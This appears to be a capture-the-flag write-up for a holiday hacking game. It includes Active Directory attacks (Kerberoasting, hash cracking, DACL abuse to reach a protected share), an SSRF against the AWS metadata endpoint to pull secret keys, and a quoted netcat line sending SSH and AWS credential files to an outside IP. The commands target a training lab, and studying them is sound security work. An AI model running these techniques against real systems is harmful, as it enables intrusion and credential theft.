10.128.3.0/24 via 172.17.0.1 dev eth0
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.5
nmap is preinstalled - nice!
nmap --version
Nmap version 7.80 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.3.3 openssl-1.1.1d nmap-libssh2-1.8.2 libz-1.2.11 libpcre-8.39 libpcap-1.9.1 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select
Now scan to find the domain controller:
nmap -p389 -sV 10.128.1-3.0/24 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-21 20:47 UTC
Nmap scan report for 10.128.3.30
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
389/tcp open ldap (Anonymous bind OK)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 768 IP addresses (237 hosts up) scanned in 33.52 seconds
What domain do we have?
nmap -sC -p 139,445 -sV 10.128.3.30
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-21 20:51 UTC
Nmap scan report for 10.128.3.30
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ELFU)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: ELFU)
Service Info: Host: SHARE30
Host script results:
|_nbstat: NetBIOS name: SHARE30, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: share30
| NetBIOS computer name: SHARE30\x00
| Domain name: elfu.local
| FQDN: share30.elfu.local
|_ System time: 2022-01-21T20:51:20+00:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-01-21T20:51:20
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds
So the domain name is:
elfu.local
Exfiltrate Bloodhound information
Python is installed so we should get python based ingestor for Bloodhound running.
Before that, we should set the terminal to have unlimited scrollback: https://askubuntu.com/questions/385901/how-to-see-more-lines-in-the-terminal
Unzip is installed at the target:
unzip
UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
...
Download the zip file for the ingestor:
Take your downloaded zip at the command line:
cat BloodHound.py-master.zip | base64 | tr -d '\n'
UEsDBAoAAAAAAEgR/FIAAAAAAAAAAAAAAAAVAA...
...BACgANmZlNzUzZWZkMDk1ODc5YjU0ZDdkNDg4ZGNjM2I0M2EwYjU1NTJlOQ==
Copy this output and paste it into the ssh session after:
echo -n '...
Close everything with:
...' | base64 --decode > bloodhound.zip
So the command looks like:
echo -n 'UEsDBAoAAAAAAEgR/F...
...Dg4ZGNjM2I0M2EwYjU1NTJlOQ==' | base64 --decode > bloodhound.zip
Check the file:
file bloodhound.zip
bloodhound.zip: Zip archive data, at least v1.0 to extract
Unzip it:
unzip bloodhound.zip
Archive: bloodhound.zip
6fe753efd095879b54d7d488dcc3b43a0b5552e9
creating: BloodHound.py-master/
inflating: BloodHound.py-master/.editorconfig
...
inflating: BloodHound.py-master/bloodhound/lib/cstruct.py
inflating: BloodHound.py-master/setup.py
And give it a try:
cd BloodHound.py-master/
python3 bloodhound.py -c All -d elfu.local -u euisvijnqm -p 'Szpbpjuqs@'
INFO: Found AD domain: elfu.local
INFO: Connecting to LDAP server: dc01.elfu.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 238 computers
INFO: Connecting to LDAP server: dc01.elfu.local
INFO: Found 230 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.elfu.local
INFO: Querying computer: share30.elfu.local
INFO: Skipping enumeration for share30.elfu.local since it could not be resolved.
INFO: Done in 00M 02S
You get 4 json files:
ls
20220121223233_computers.json 20220121223233_groups.json Dockerfile README.md bloodhound.py
20220121223233_domains.json 20220121223233_users.json LICENSE bloodhound setup.py
Cat all the 4 files and copy them to your computer,e.g.:
cat 20220121223233_computers.json
{"computers":[{"ObjectIdentifier": "S-1-5-21-2037236562...
..."computers","count":2, "version":3}}
Import the files in bloodhound in kali using drag and drop.
Enumerating SMB Shares
Run
nmap --script smb-enum-shares -p139,445 10.128.1-3.0/24 --open
In the result the shares in 10.128.2.0/24 seems only the IPC open:
smbclient -L 10.128.2.196
Enter WORKGROUP\euisvijnqm's password:
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available
In 10.128.3.0/24 the Users seems to have a Share “ElfUFiles”:
smbclient -L 10.128.3.41
Enter WORKGROUP\euisvijnqm's password:
Sharename Type Comment
--------- ---- -------
ElfUFiles Disk
IPC$ IPC IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available
which is not accessible from your current user:
smbclient -U euisvijnqm //10.128.3.41/ElfUFiles
Enter WORKGROUP\euisvijnqm's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
Only the domain controller has multiple shares (excerpt from the previous nmap scan):
Nmap scan report for 10.128.3.30
Host is up (0.0020s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: <blank>
| \\10.128.3.30\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (Samba 4.3.11-Ubuntu)
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| \\10.128.3.30\elfu_svc_shr:
| Type: STYPE_DISKTREE
| Comment: elfu_svc_shr
| Users: 0
| Max Users: <unlimited>
| Path: C:\elfu_svc_shr
| Anonymous access: <none>
| \\10.128.3.30\netlogon:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\sysvol\elfu.local\scripts
| Anonymous access: <none>
| \\10.128.3.30\research_dep:
| Type: STYPE_DISKTREE
| Comment: research_dep
| Users: 0
| Max Users: <unlimited>
| Path: C:\research_dep
| Anonymous access: <none>
| \\10.128.3.30\sysvol:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\sysvol
|_ Anonymous access: <none>
Search for kerberoastable Accounts
To find kerberoastable Accounts click “List all Kerberoastable Accounts” in Bloodhound:
Retrieve Hash from kerberoastable Account
Use the recommendation in the accompanying talk from Chris Davis: Impacket GetUserSPNs.py which is preinstalled at the system:
GetUserSPNs.py -request elfu.local/euisvijnqm:'Szpbpjuqs@'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- -------- -------------------------- --------- ----------
ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 <never>
ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 <never>
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$3b8049ad5ede0e6a1e723fa87cd7484e$57813c60e96a46191bd3425b1d29e3521deb4674ff3c6727756001f6a7096aebcb8718982c13483324ab27e3a2f1cef80b00eea313d98247d680328d3a0d78b2a018300f872842e64971133c9af1e69ba4de374c5b31f4cb178a59c0f1a9a7c00f84e4d4c8a99d08b9bfe8287f29ffb8c4d73fc605d491ef5c429cf745d52a3b31c7d183f46da6684c6934300b1224ab7da8b8a2adee9b2fbf762e2f0f02684cfa1a4cf2623e2e3bd8a789709f8d6009ddf5644ac8066a0d245b0910f1dbcc6a81bb168884dd71ccdeef64ae22dde339d50d6bc06f5580a0bfab12dd5162d6ab46c4214642925965ed2ce5c99d1ab79c1bf9b4020a108aaf9b7d057b731e71225a0ed94a5a8cbfee314831da208af6848f2d996435a12c2109a8243f6d2239fbf603bc1af5c6e525bc6a80f0557f6a4ad6393ba1de9d8346c6302ee628a1dc9fd9d29d9af2540a6c652a0772902c1ba4ca9fa0637a0f2f8d09e767bf3dde8810d824cd4be22d5956acc7211a9836afb54cdf7be518faac57e0678ad16a6725a2c735155dd660a7b9639c457654f0829b29447e849e87923b408c1c0ee26e54eac3dd10224798d39a9c7b0731390156a4d4e9f007259338895d754600baf2cbf1ed1560ac074bfe7f85fafe9dfd39b43e2ee49469228e7a1a23ea29555b8700d5baee89d2db9fe09d6919a4524754a2cd51737aec3cc64e67143a65abc064a3a2245468ac677b1858552f63ce63e88ccf4b3a9eb4c636bbea2199d80c3e29dd677f5c2f5b811c768690ad4a5b8ba3696b5aa3cc45cfd3232138a8209354b2c8d3ff89c0d904ecdd93c1ce9137b4a55e72eed9e347e9e4815efbb96cf0c8ea791374128e4a83529265759979b8cc85e7b07d833f4f0f68fee28d1c6ba73783d307915c578d2498ebe3cd3002097d78f72bf0be174a7b133dfb50badc1fe4759d849450788eab7191d3de4bb06fb02d6ee7f279b48933cb79b6a619c75da29ca53e1e526324d5b52f4e31582b74a8eafedb889369e965a649e53a35c3d0eff157476c71b9a0a38755a1e49b756ac0e6407d383bcad7795a19a6e48eea2b1b1e18a048261b12c25804fbec89a0886af641c4e5295ee302b638ec865fd64fe0d304a9a4195b76c032ec3ec41933fe7c00619e509f1e313865621d755868f311d9c6d511b8f6d749a00e5baf2661732c52f792e0499e891f04ec4bfcdc34fd9702a93aa7b0fd0860c2ead117733baf00b0a14df0b4956e786edbc6495ca082b381a71e573bedd8e4b2e5e3539dbc9eca0bf92fee113dc757ad2553e21400bb175a70999ef81d94be390f125c35135587f14e62a566660876c41deac577407eb8a7fdf53f11d57336230d624779ad747b8214c56c9a3725c1b6323f3945fd38749869361649998c739516d1b4b22b4fd230bb14d3349d25004ac240b12b2275b1c0eb89c1a56813be
Copy the hash at the end to your local system into a file hash.txt
Cracking the hash
Get all the words including numbers from the initial registration page:
cewl -w wordlist.txt --with-numbers 'https://register.elfu.org/register'
and download a ruleset to augment this list (a further hint from Eve Snowshoes):
curl -O https://raw.githubusercontent.com/NotSoSecure/password_cracking_rules/master/OneRuleToRuleThemAll.rule
Then crack the hash using hashcat:
hashcat -m 13100 -a 0 hash.txt --potfile-disable --opencl-device-types 1 --force -O -w 4 -r OneRuleToRuleThemAll.rule wordlist.txt
...
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$3b8049ad5ede0e6a1e723fa87cd7484e$57813c60e96a46191bd3425b1d29e3521deb4674ff3c6727756001f6a7096aebcb8718982c13483324ab27e3a2f1cef80b00eea313d98247d680328d3a0d78b2a018300f872842e64971133c9af1e69ba4de374c5b31f4cb178a59c0f1a9a7c00f84e4d4c8a99d08b9bfe8287f29ffb8c4d73fc605d491ef5c429cf745d52a3b31c7d183f46da6684c6934300b1224ab7da8b8a2adee9b2fbf762e2f0f02684cfa1a4cf2623e2e3bd8a789709f8d6009ddf5644ac8066a0d245b0910f1dbcc6a81bb168884dd71ccdeef64ae22dde339d50d6bc06f5580a0bfab12dd5162d6ab46c4214642925965ed2ce5c99d1ab79c1bf9b4020a108aaf9b7d057b731e71225a0ed94a5a8cbfee314831da208af6848f2d996435a12c2109a8243f6d2239fbf603bc1af5c6e525bc6a80f0557f6a4ad6393ba1de9d8346c6302ee628a1dc9fd9d29d9af2540a6c652a0772902c1ba4ca9fa0637a0f2f8d09e767bf3dde8810d824cd4be22d5956acc7211a9836afb54cdf7be518faac57e0678ad16a6725a2c735155dd660a7b9639c457654f0829b29447e849e87923b408c1c0ee26e54eac3dd10224798d39a9c7b0731390156a4d4e9f007259338895d754600baf2cbf1ed1560ac074bfe7f85fafe9dfd39b43e2ee49469228e7a1a23ea29555b8700d5baee89d2db9fe09d6919a4524754a2cd51737aec3cc64e67143a65abc064a3a2245468ac677b1858552f63ce63e88ccf4b3a9eb4c636bbea2199d80c3e29dd677f5c2f5b811c768690ad4a5b8ba3696b5aa3cc45cfd3232138a8209354b2c8d3ff89c0d904ecdd93c1ce9137b4a55e72eed9e347e9e4815efbb96cf0c8ea791374128e4a83529265759979b8cc85e7b07d833f4f0f68fee28d1c6ba73783d307915c578d2498ebe3cd3002097d78f72bf0be174a7b133dfb50badc1fe4759d849450788eab7191d3de4bb06fb02d6ee7f279b48933cb79b6a619c75da29ca53e1e526324d5b52f4e31582b74a8eafedb889369e965a649e53a35c3d0eff157476c71b9a0a38755a1e49b756ac0e6407d383bcad7795a19a6e48eea2b1b1e18a048261b12c25804fbec89a0886af641c4e5295ee302b638ec865fd64fe0d304a9a4195b76c032ec3ec41933fe7c00619e509f1e313865621d755868f311d9c6d511b8f6d749a00e5baf2661732c52f792e0499e891f04ec4bfcdc34fd9702a93aa7b0fd0860c2ead117733baf00b0a14df0b4956e786edbc6495ca082b381a71e573bedd8e4b2e5e3539dbc9eca0bf92fee113dc757ad2553e21400bb175a70999ef81d94be390f125c35135587f14e62a566660876c41deac577407eb8a7fdf53f11d57336230d624779ad747b8214c56c9a3725c1b6323f3945fd38749869361649998c739516d1b4b22b4fd230bb14d3349d25004ac240b12
...
b2275b1c0eb89c1a56813be:Snow2021!
So the password for elfu_svc is ‘Snow2021!’
Search for Credentials
If you remember we had a share
| \\10.128.3.30\elfu_svc_shr:
in the previous nmap smb enumeration scan at the domain controller.
So let’s connect there using the newly retrieved credentials and download the files:
smbclient -U elfu_svc -W elfu.local //10.128.3.30/elfu_svc_shr
Enter ELFU.LOCAL\elfu_svc's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Dec 2 16:39:42 2021
.. D 0 Fri Jan 21 08:02:40 2022
Get-NavArtifactUrl.ps1 N 2018 Wed Oct 27 19:12:43 2021
Get-WorkingDirectory.ps1 N 188 Wed Oct 27 19:12:43 2021
Stop-EtwTraceCapture.ps1 N 924 Wed Oct 27 19:12:43 2021
...
AzureAD.ps1 N 141 Wed Oct 27 19:12:43 2021
Copy-FileToRemoteComputer.ps1 N 3794 Wed Oct 27 19:12:43 2021
New-NavContainerTenant.ps1 N 5623 Wed Oct 27 19:12:43 2021
41089256 blocks of size 1024. 34796848 blocks available
smb: \> prompt
smb: \> recurse
smb: \> mget *
getting file \Get-NavArtifactUrl.ps1 of size 2018 as Get-NavArtifactUrl.ps1 (1970.5 KiloBytes/sec) (average 1970.7 KiloBytes/sec)
...
getting file \New-NavContainerTenant.ps1 of size 5623 as New-NavContainerTenant.ps1 (5490.7 KiloBytes/sec) (average 7293.7 KiloBytes/sec)
smb: \> exit
If we look into the files we can find hardcoded credentials in GetProcessInfo:
cat GetProcessInfo.ps1
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate
Lets copy this code and enhance it to get a powershell session to this User “remote_elf” IP 10.128.1.53 (using the information at https://github.com/chrisjd20/hhc21_powershell_snippets#added-bonus-here-is-how-you-can-enter-pssession-into-a-remote-computer):
euisvijnqm@grades:~$ powershell
PowerShell 7.2.0-rc.1
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/euisvijnqm> $SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
PS /home/euisvijnqm> $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
PS /home/euisvijnqm> $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
PS /home/euisvijnqm> Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
[10.128.1.53]: PS C:\Users\remote_elf\Documents>
Analysis of remote_elf
Enter the name in Bloodhound:
Mark it as owned:
Click “Shortest Path from Owned Principals”, “ELFU.LOCAL” and “REMOTE_ELF@ELFU.LOCAL”:
In the resulting graph you can see that remote_elf can PowerShell remote to the Domain Controller named DC01.ELFU.LOCAL:
Log into Domain Controller
So exit the current PowerShell Session and reenter the session into the Domain Controller using:
[10.128.1.53]: PS C:\Users\remote_elf\Documents>exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName DC01.ELFU.LOCAL -Credential $aCred -Authentication Negotiate
[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents>
Find WriteDACL for Research Samba Share
If you remember there was the research samba share at the Domain Controller:
[10.128.1.53]: PS C:\Users\remote_elf\Documents> exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName DC01.ELFU.LOCAL -Credential $aCred -Authentication Negotiate
[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents>
but we have no access to it (Open another ssh session):
smbclient -U euisvijnqm //10.128.3.30/research_dep
Enter WORKGROUP\euisvijnqm's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
Back in the DC Powershell Session try to find a Securable Object which has permissions to write ACL.
For that analyse the existing groups:
Get-ADGroup -Filter "*"
...
Get-ADGroup -Filter "Name -like '*research*'"
DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory : Security
GroupScope : Global
Name : Research Department
ObjectClass : group
ObjectGUID : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName : ResearchDepartment
SID : S-1-5-21-2037236562-2033616742-1485113978-1108
So use this to analyse the ACL properties (based on https://github.com/chrisjd20/hhc21_powershell_snippets#you-can-read-the-dacl-of-an-ad-group-object-using):
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
which contains
ActiveDirectoryRights : WriteDacl
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : ELFU\remote_elf
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
Add GenericAll to remote_elf Account
In the next step add GenericAll Permission to your account. For this we have to use the already compromised remote_elf account. Exit the current DC Powershell session and enter remote_elf session again:
[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents> exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
[10.128.1.53]: PS C:\Users\remote_elf\Documents>
Here use the Github snippet:
[10.128.1.53]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $username = "euisvijnqm"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $secOptions = $domainDirEntry.get_Options()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.RefreshCache()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()
Check it:
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
yields:
...
ActiveDirectoryRights : GenericAll
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : ELFU\euisvijnqm
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
...
Add your account to Research Department group
Finally you have to add your account to the Research Department group:
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $username = 'euisvijnqm'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $password = 'Szpbpjuqs@'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $b=New-Object byte[] $sid.BinaryLength
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $sid.GetBinaryForm($b,0)
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $hexSID=[BitConverter]::ToString($b).Replace('-','')
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.Add("LDAP://<SID=$hexSID>")
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()
Retrieve document from research share
Give the permissions changes 5 minutes to propagate. Then connect and retrieve the secret document from the research department share:
smbclient -U euisvijnqm //10.128.3.30/research_dep
Enter WORKGROUP\euisvijnqm's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Dec 2 16:39:42 2021
.. D 0 Fri Jan 21 08:02:40 2022
SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021
41089256 blocks of size 1024. 34798856 blocks available
smb: \> mget SantaSecretToAWonderfulHolidaySeason.pdf
Get file SantaSecretToAWonderfulHolidaySeason.pdf? yes
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (42462.8 KiloBytes/sec) (average 42463.9 KiloBytes/sec)
smb: \> exit
Get the base64:
cat SantaSecretToAWonderfulHolidaySeason.pdf | base64 | tr -d '\n'
JVBERi0xLjMKJcTl8uXrp/Og0MT
...
PgpzdGFydHhyZWYKMTczMzMyCiUlRU9GCg=
Copy it into a file base64out at your system (using vim can be faster then using echo):
cat base64out| base64 --decode > SantaSecretToAWonderfulHolidaySeason.pdf
file SantaSecretToAWonderfulHolidaySeason.pdf
SantaSecretToAWonderfulHolidaySeason.pdf: PDF document, version 1.3
Open the PDF
The first word in the list and therefore the solution is Kindness
9 - Splunk
Possible solution
Level 1
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie | stats count by CommandLine | sort - count
from there you can get
git status
Level 2
index=main user=eddie CommandLine="git remote add*"
delivers
git remote add origin git@github.com:elfnp3/partnerapi.git
git remote add origin https://github.com/elfnp3/partnerapi.git
so the solution is
git@github.com:elfnp3/partnerapi.git
Level 3
index=main user=eddie CommandLine="docker*"
shows
docker up
Level 4
index=main sourcetype=github_json | fields repository.full_name
shows
elfnp3/dvws-node 23 85,185 % elfnp3/partnerapi 4 14,815 %
googling “github dvws-node” delivers https://github.com/snoopysecurity/dvws-node
Level 5
index=main user=eddie npm partnerapi
click at “CommandLine”
/usr/bin/env node
/usr/bin/npm install holiday-utils-js
So we have “holiday-utils-js”
Level 6
Click at the recommended search and then on both IPs. View the Events. Choose “process_name” at the left:
192.30.255.113 => /usr/bin/git 54.175.69.219 => /usr/bin/nc.openbsd
The answer is “/usr/bin/nc.openbsd”
Level 7
Use the process_id from the last query at the the left side and put it into:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_id=6791
Click “parent_process” in the left, this changes the query to:
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 parent_process_id=6788
Click “CommandLine”:
cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts 1 50 % nc -q1 54.175.69.219 16842 1 50 %
From that we can deduce
/home/eddie/.aws/credentials
/home/eddie/.ssh/authorized_keys
/home/eddie/.ssh/config
/home/eddie/.ssh/eddie
/home/eddie/.ssh/eddie.pub
/home/eddie/.ssh/known_hosts
=> 6 files
Level 8
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine="*.sh"
“CommandLine” shows only one script:
/bin/sh -c /bin/bash preinstall.sh
so it is:
preinstall.sh
If you look at the top of the to-do list you can see
“Thank you for helping Santa complete his investigation! Santa says you’re a whiz”
“whiz” is the solution for the Splunk challenge.
10 - No Hiring
Open Portswigger Burp and https://apply.jackfrosttower.com/. Route traffic through Burp as pentesting proxy for example using Foxy Proxy Plugin.
Enter required information in the next form
activate “intercept” in Burp and click “Submit”
Put it to “Repeater” and send the request:
Looking into (the challenge about imds exploration) we can set the AWS IMDS endpoint, url encode and send it. We get another response:
What is this non-displayable image in the center?
If you right-click in Repeater and select “Copy URL”, paste it in the browser, disable the proxy, call the url and inspect it, you get:
It’s not a 0 byte picture !
Review it in Burps Logger
So it’s the IMDS Response. Now try to get the secret key using (the known api):
Resend the original career application form. You have to use another name because this is cached. Enter as url http://169.254.169.254/latest/meta-data/iam/security-credentials/
:
If you analyse the picture in Burp you see the AWS role:
Use this in another run to get the secret AWS keys:
So the solution is: “CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX”
11 Customer Complaint Analysis
So the question is
A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.
and Tinsel Upatree tells you
Great! Thanks so much for your help! I’m sure I can put those skills I just learned from you to good use. Are you familiar with RFC3514? Wireshark uses a different name for the Evil Bit: ip.flags.rb. HTTP responses are often gzip compressed. Fortunately, Wireshark decompresses them for us automatically. You can search for strings in Wireshark fields using display filters with the contains keyword.
The “evil bit” in RFC3514 can be searched in Wireshark using the display filter ip.flags.rb
. Since we search for humans it should be false:
Right-Click at a HTTP row, select Follow -> HTTP Stream:
A human named “Muffy Von Duchess Sebastian” residing in room 1024 complains about several trolls:
POST /feedback/guest_complaint.php HTTP/1.1
Host: frost-tower.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 353
Origin: http://frost-tower.local
DNT: 1
Connection: keep-alive
Referer: http://frost-tower.local/feedback/guest_complaint.html
Upgrade-Insecure-Requests: 1
